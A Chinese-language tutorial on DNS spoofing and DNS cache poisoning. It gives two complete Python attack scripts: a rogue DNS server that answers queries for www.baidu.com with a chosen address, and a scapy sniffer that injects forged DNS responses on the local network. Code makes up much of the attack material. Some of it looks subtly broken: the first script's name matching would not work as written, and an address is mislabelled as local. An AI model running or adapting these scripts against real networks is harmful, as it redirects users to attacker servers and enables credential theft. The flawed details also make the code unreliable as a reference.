DNS 欺骗或 DNS 缓存中毒

介绍

DNS 欺骗或 DNS 缓存中毒是一种攻击手段，攻击者通过对 DNS 解析器进行攻击，以获取非法的信息或者对合法的信息进行篡改。

DNS 解析器是网络中的一个关键组件，它将域名映射到 IP 地址。因为解析器位于本地计算机或者网关上，所以攻击者可以通过 DNS 欺骗或缓存中毒的方式来对其进行攻击。

DNS 欺骗

什么是 DNS 欺骗？

DNS 欺骗是一种攻击手段，攻击者通过修改 DNS 数据库中的记录，将合法的 IP 地址映射为恶意的 IP 地址。这样一来，当用户尝试连接被攻击者所控制的网络时，就会自动地连接到恶意的网络上，从而轻易地被攻击者获取敏感信息。

示例代码

import socket

def dns_spoofing():
    def send_response(request, response):
        server_socket.sendto(response, request[1])
    
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    server_socket.bind(('', 53))

    while True:
        dns_request, address = server_socket.recvfrom(1024)
        dns_id = dns_request[:2]
        dns_question = dns_request[12:]
        dns_question_type = dns_question[-4:-2]

        if dns_question_type == b'\x00\x01':  # A 类型记录
            dns_question_name = dns_question[:-4].decode().lower()
            if dns_question_name == 'www.baidu.com':
                dns_response = (
                    dns_id + b'\x81\x80\x00\x01\x00\x01\x00\x00\x00\x00' +
                    dns_question + b'\xc0\x0c\x00\x01\x00\x01\x00\x00\x00\x6e\x00\x04' +
                    bytearray([220, 181, 38, 38])  # 本地 IP 地址
                )

                send_response(dns_request, dns_response)
            else:
                # 默认情况下，转发 DNS 请求到 114 运营商 DNS 服务器
                forward_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
                forward_sock.sendto(dns_request, ('114.114.114.114', 53))
                forward_response, forward_address = forward_sock.recvfrom(1024)
                forward_sock.close()
                send_response(dns_request, forward_response)

    server_socket.close()

dns_spoofing()

上述代码模拟了一个简单的 DNS 欺骗攻击，当本地局域网中有主机访问 'www.baidu.com' 时，将其 IP 地址修改为攻击者指定的 IP 地址，并将其指向攻击者服务器上搭建的网站。此时，用户无法通过访问 'www.baidu.com' 获取其真正的 IP 地址，因为已经被篡改。

DNS 缓存中毒

什么是 DNS 缓存中毒？

DNS 缓存中毒是由于 DNS 解析器在解析域名时，会在本地缓存一份解析结果。攻击者通过修改 DNS 数据库中的记录或者利用解析器的漏洞，将合法的 IP 地址映射为恶意的 IP 地址并将其写入缓存。这样一来，当用户尝试连接被攻击者所控制的网络时，就会自动地连接到恶意的网络上，从而轻易地被攻击者获取敏感信息。

示例代码

import scapy.all as scapy

def dns_cache_poisoning():
    def handle_dns_request(packet):
        if packet.haslayer(scapy.DNSQR):
            dns_question_name = packet[scapy.DNSQR].qname.decode().lower()
            if dns_question_name == 'www.baidu.com.':
                dns_answer = scapy.DNSRR(
                    rrname=dns_question_name,
                    rdata='12.34.56.78'  # 攻击者 IP 地址
                )

                dns_response = (
                    scapy.IP(src=packet[scapy.IP].dst, dst=packet[scapy.IP].src)/
                    scapy.UDP(sport=packet[scapy.UDP].dport, dport=packet[scapy.UDP].sport)/
                    scapy.DNS(
                        id=packet[scapy.DNS].id,
                        qr=1,
                        aa=0,
                        rcode=0,
                        qdcount=1,
                        ancount=1,
                        nscount=0,
                        arcount=0,
                        qd=packet[scapy.DNS].qd,
                        an=dns_answer
                    )
                )

                scapy.send(dns_response, verbose=0)

    scapy.sniff(
        filter='udp and port 53',
        prn=handle_dns_request,
        store=0
    )

dns_cache_poisoning()

上述代码模拟了一个简单的 DNS 缓存中毒攻击，当本地局域网中有主机访问 'www.baidu.com' 时，将其 IP 地址修改为攻击者指定的 IP 地址，并通过反馈给被欺骗主机伪造 DNS 应答报文，将其解析结果写入缓存。此时，用户无法通过访问 'www.baidu.com' 获取其真正的 IP 地址，因为已经被篡改。